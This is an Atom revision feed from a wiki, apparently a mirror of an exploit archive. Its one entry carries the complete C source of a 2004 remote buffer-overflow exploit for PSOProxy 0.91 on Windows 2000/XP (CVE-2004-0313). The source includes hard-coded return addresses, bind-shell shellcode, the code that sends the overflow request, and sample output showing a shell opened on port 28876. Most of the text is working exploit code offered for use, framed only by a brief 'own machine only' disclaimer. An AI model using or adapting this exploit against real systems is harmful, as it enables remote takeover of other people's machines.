<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2004-0313_PSOProxy_0.91_%28Windows_2000%2FXP%29_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2004-0313 PSOProxy 0.91 (Windows 2000/XP) 遠程緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2004-0313_PSOProxy_0.91_%28Windows_2000%2FXP%29_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2004-0313_PSOProxy_0.91_(Windows_2000/XP)_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-14T11:45:05Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2004-0313_PSOProxy_0.91_(Windows_2000/XP)_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=2077&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; /*  	 Copyright © Rosiello Security   	      http www rosiello org  	    ================   -== Remote Exploit for PSOProxy version v0.91 ==--  Code by: rave  C...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2004-0313_PSOProxy_0.91_(Windows_2000/XP)_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=2077&amp;oldid=prev"/>
		<updated>2021-05-03T13:15:30Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; /*  	 Copyright © Rosiello Security   	      http www rosiello org  	    ================   -== Remote Exploit for PSOProxy version v0.91 ==--  Code by: rave  C...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
&lt;br /&gt;
	 Copyright © Rosiello Security&lt;br /&gt;
&lt;br /&gt;
 	      http www rosiello org&lt;br /&gt;
 	    ================&lt;br /&gt;
&lt;br /&gt;
 -== Remote Exploit for PSOProxy version v0.91 ==--&lt;br /&gt;
 Code by: rave&lt;br /&gt;
 Contact: rave@rosiello.org&lt;br /&gt;
 Date: Feb 2004&lt;br /&gt;
 Bug found by: Donato Ferrante&lt;br /&gt;
&lt;br /&gt;
 There is a vulnerability found in the PSOProxy server.&lt;br /&gt;
 An attacker can execute arbitrary code exploiting remotely a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
	The exploit sends:&lt;br /&gt;
&lt;br /&gt;
    GET / &amp;lt;1021 x A&amp;gt;&amp;lt;adres of the shellcode&amp;gt;&amp;lt;shellcode&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 This spawns a bindshell on the victim at port 28876..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 Usage &amp;lt;C:\&amp;gt;psoproxy-exploit.exe &amp;lt;target host&amp;gt; &amp;lt;target number&amp;gt;&lt;br /&gt;
 Target Number           Target Name                             Stack Adress&lt;br /&gt;
 =============           ===========                             ===========&lt;br /&gt;
 0                       Demo                                    0xBADC0DED&lt;br /&gt;
 1                       Windows XP Home Edtion SP1.             0x00D2FDDA&lt;br /&gt;
 2                       Windows XP Pro Edtion SP1.              0x00EDFDDC&lt;br /&gt;
 3                       Win2k Pro Edtion.                       0x00BBFDDC&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;C:\&amp;gt; psoproxy-exploit localhost 1&lt;br /&gt;
 [+] Winsock Inalized&lt;br /&gt;
 [+] Trying to connect to localhost:8080&lt;br /&gt;
 [+] socket inalized&lt;br /&gt;
 [+] Overflowing string is Prepared&lt;br /&gt;
 [+] Connected.&lt;br /&gt;
 [+] Overflowing string had been send&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;C:\&amp;gt; telnet localhost 28876&lt;br /&gt;
 Microsoft Windows XP [versie 5.1.2600]&lt;br /&gt;
 (C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;D:\&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 DO NOT USE THIS CODE ON DIFFERENT MACHINES BUT YOURS!!!&lt;br /&gt;
 Respect the law as we do!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   Special Tankz to:&lt;br /&gt;
   opy   { win2k 0wnage !! ty for lending me ur box }&lt;br /&gt;
   B0f   { Hope to work with u again in the futhure like we do all the time }&lt;br /&gt;
   Dragnet  { Always willing to help me out }&lt;br /&gt;
   Angelo  { Verry good maffio`so }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   Greetz go out to:&lt;br /&gt;
   Kajun  { Verry suportive guy }&lt;br /&gt;
   NrAziz { 0wns pakistan hax0r scene ! beware always say mr NrAziz }&lt;br /&gt;
   sloth  { good guy }&lt;br /&gt;
   Mercy  { Hope to see u soon }&lt;br /&gt;
   Netric security {www.netric.org/.de }&lt;br /&gt;
   [+] All the hax0rs i forgot.&lt;br /&gt;
&lt;br /&gt;
   Hate Messages:&lt;br /&gt;
   Ziphie { U didnt get mine bitch }&lt;br /&gt;
&lt;br /&gt;
  OOh and Li0n7 voila fr {&lt;br /&gt;
  you're doing it all wrong, your exploit doesn't work!&lt;br /&gt;
  http://www.securityfocus.com/archive/1/354769/2004-02-15/2004-02-21/0&lt;br /&gt;
  k/j man, keep on doing the good stuff and next time add some more stack adresses so&lt;br /&gt;
  it would work on other os`s...&lt;br /&gt;
&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Advisory at: http://www.rosiello.org/en/read_bugs.php?15&lt;br /&gt;
&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;winsock2.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;windows.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
// Darn fucking 1337 macro shit&lt;br /&gt;
#define ISIP(m) (!(inet_addr(m) ==-1))&lt;br /&gt;
&lt;br /&gt;
#define offset 1024 //1024&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
struct remote_targets {&lt;br /&gt;
  char *os;&lt;br /&gt;
  unsigned long sh_addr;&lt;br /&gt;
} target [] ={&lt;br /&gt;
/* Option`s for your eyes only :D*/&lt;br /&gt;
    &amp;quot;Demo                        &amp;quot;,&lt;br /&gt;
     0xbadc0ded,&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    &amp;quot;Windows XP Home Edtion SP1. &amp;quot;,&lt;br /&gt;
     0x00D2FDDA,&lt;br /&gt;
&lt;br /&gt;
    &amp;quot;Windows XP Pro Edtion SP1.  &amp;quot;,&lt;br /&gt;
     0x00edfddc,&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    &amp;quot;Win2k Pro Edtion.          &amp;quot;,&lt;br /&gt;
     0x00bbfddc,&lt;br /&gt;
&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
//Bindcode spawns a binshell on port 28876 (Thanks to metasploit.com guys)&lt;br /&gt;
unsigned char  shellcode[] =&lt;br /&gt;
  &amp;quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&amp;quot;&lt;br /&gt;
  &amp;quot;\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52&amp;quot;&lt;br /&gt;
  &amp;quot;\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1&amp;quot;&lt;br /&gt;
  &amp;quot;\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a&amp;quot;&lt;br /&gt;
  &amp;quot;\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01&amp;quot;&lt;br /&gt;
  &amp;quot;\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b&amp;quot;&lt;br /&gt;
  &amp;quot;\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32&amp;quot;&lt;br /&gt;
  &amp;quot;\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff&amp;quot;&lt;br /&gt;
  &amp;quot;\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe&amp;quot;&lt;br /&gt;
  &amp;quot;\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50&amp;quot;&lt;br /&gt;
  &amp;quot;\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff&amp;quot;&lt;br /&gt;
  &amp;quot;\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89&amp;quot;&lt;br /&gt;
  &amp;quot;\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff&amp;quot;&lt;br /&gt;
  &amp;quot;\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x60&amp;quot;&lt;br /&gt;
  &amp;quot;\x6a\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x23\xff\xff\xff\x89&amp;quot;&lt;br /&gt;
  &amp;quot;\xc6\x31\xdb\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x31\xdb\x56\x56&amp;quot;&lt;br /&gt;
  &amp;quot;\x56\x53\x53\x31\xc0\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53&amp;quot;&lt;br /&gt;
  &amp;quot;\x53\x53\x53\x6a\x44\x89\xe0\x53\x53\x53\x53\x54\x50\x53\x53\x53&amp;quot;&lt;br /&gt;
  &amp;quot;\x43\x53\x4b\x53\x53\x51\x53\x87\xfd\xbb\x21\xd0\x05\xd0\xe8\xdf&amp;quot;&lt;br /&gt;
  &amp;quot;\xfe\xff\xff\x5b\x31\xc0\x48\x50\x53\xbb\x43\xcb\x8d\x5f\xe8\xcf&amp;quot;&lt;br /&gt;
  &amp;quot;\xfe\xff\xff\x56\x87\xef\xbb\x12\x6b\x6d\xd0\xe8\xc2\xfe\xff\xff&amp;quot;&lt;br /&gt;
  &amp;quot;\x83\xc4\x5c\x61\xeb\x89\x41&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// now what would this button do ?&lt;br /&gt;
char *host_ip;&lt;br /&gt;
u_long get_ip(char *hostname)&lt;br /&gt;
{&lt;br /&gt;
 struct  hostent    *hp;&lt;br /&gt;
&lt;br /&gt;
 if (ISIP(hostname)) return inet_addr(hostname);&lt;br /&gt;
&lt;br /&gt;
  if ((hp = gethostbyname(hostname))==NULL)&lt;br /&gt;
  { perror (&amp;quot;[+] gethostbyname() failed check the existance of the host.\n&amp;quot;);&lt;br /&gt;
    exit(-1); }&lt;br /&gt;
&lt;br /&gt;
  return (inet_ntoa(*((struct in_addr *)hp-&amp;gt;h_addr)));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/// oooh yeah uuuh right ....&lt;br /&gt;
int usage (char *what)&lt;br /&gt;
{&lt;br /&gt;
 int i;&lt;br /&gt;
  fprintf(stdout,&amp;quot;Copyright © Rosiello Security\n&amp;quot;);&lt;br /&gt;
  fprintf(stdout,&amp;quot;http://www.rosiello.org\n\n&amp;quot;);&lt;br /&gt;
  fprintf(stdout,&amp;quot;Usage %s &amp;lt;target host&amp;gt; &amp;lt;target number&amp;gt;\n&amp;quot;,what);&lt;br /&gt;
  fprintf(stdout,&amp;quot;Target Number\t\tTarget Name\t\t\t\tStack Adress\n&amp;quot;);&lt;br /&gt;
  fprintf(stdout,&amp;quot;=============\t\t===========\t\t\t\t===========\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
  for (i=0;i &amp;lt; 4;i++)&lt;br /&gt;
   fprintf(stdout,&amp;quot;%d\t\t\t%s\t\t0x%p\n&amp;quot;,i,target[i].os,target[i].sh_addr);&lt;br /&gt;
&lt;br /&gt;
  exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc,char **argv)&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
char buffer[offset*2]=&amp;quot;get /&amp;quot;,*ptr,*address;&lt;br /&gt;
int sd,oops,i,choise;&lt;br /&gt;
struct  sockaddr_in  ooh;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
WSADATA wsadata;&lt;br /&gt;
WSAStartup(0x101, &amp;amp;wsadata);&lt;br /&gt;
&lt;br /&gt;
if (argc &amp;lt; 2) usage(argv[0]);&lt;br /&gt;
address=argv[1];&lt;br /&gt;
choise=atoi(argv[2]);&lt;br /&gt;
&lt;br /&gt;
fprintf(stdout,&amp;quot;[+] Winsock Inalized\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
 /* Lets start making a litle setup&lt;br /&gt;
    Change the port if you have to */&lt;br /&gt;
&lt;br /&gt;
 ooh.sin_addr.s_addr = inet_addr(get_ip(address));&lt;br /&gt;
    ooh.sin_port        = htons(8080);&lt;br /&gt;
    ooh.sin_family      = AF_INET;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
fprintf(stdout,&amp;quot;[+] Trying to connect to %s:%d\n&amp;quot;,address,8080);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// ok ok here`s ur sock()&lt;br /&gt;
sd = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP);&lt;br /&gt;
 if (!sd&amp;lt;0) { fprintf(stderr,&amp;quot;[!] socket() failed.\n&amp;quot;);exit (-1); }&lt;br /&gt;
&lt;br /&gt;
 fprintf(stdout,&amp;quot;[+] socket inalized\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 /* initializing the expploiting buffer, read the file comments for the details */&lt;br /&gt;
ptr=buffer+strlen(buffer);&lt;br /&gt;
&lt;br /&gt;
for (i=strlen(buffer);i &amp;lt; offset;i++) *ptr++=(char)0x2e;&lt;br /&gt;
for (i=strlen(buffer);i &amp;lt; offset+6;i++) { *ptr++=(char)0xa; *ptr++=(char)0xd ;}&lt;br /&gt;
&lt;br /&gt;
memcpy(buffer+strlen(buffer),((char *)&amp;amp;shellcode),strlen(shellcode));&lt;br /&gt;
memcpy(buffer+offset,((char *)&amp;amp;target[choise].sh_addr),3);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
fprintf(stdout,&amp;quot;[+] Overflowing string is Prepared\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
 // Knock knock ... hi i want to hook up with you&lt;br /&gt;
 oops=connect(sd, (struct sockaddr *)&amp;amp;ooh, sizeof( ooh ));&lt;br /&gt;
  if(oops!=0) { fprintf(stderr,&amp;quot;[!] connect() failed.\n&amp;quot;); exit(-1); }&lt;br /&gt;
&lt;br /&gt;
// yep we are in :D&lt;br /&gt;
fprintf(stdout,&amp;quot;[+] Connected.\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// Sending some Dangerous stuff&lt;br /&gt;
i = send(sd,buffer,strlen(buffer),0);&lt;br /&gt;
if (!i &amp;lt;0) { fprintf (stdout,&amp;quot;[!] Send() failed\n&amp;quot;); exit (-1) ; }&lt;br /&gt;
&lt;br /&gt;
fprintf(stdout,&amp;quot;[+] Overflowing string had been send\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/* May psoproxy rest in peace (have cold a nice one and telnet to &amp;lt;host&amp;gt;  28876&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;C:\&amp;gt; telnet localhost 28876&lt;br /&gt;
 Microsoft Windows XP [versie 5.1.2600]&lt;br /&gt;
 (C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;
&lt;br /&gt;
 D:\&amp;gt;&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// the cleaners !!&lt;br /&gt;
WSACleanup();&lt;br /&gt;
&lt;br /&gt;
// [EOF]&lt;br /&gt;
return 0;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// milw0rm.com [2004-02-26]&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>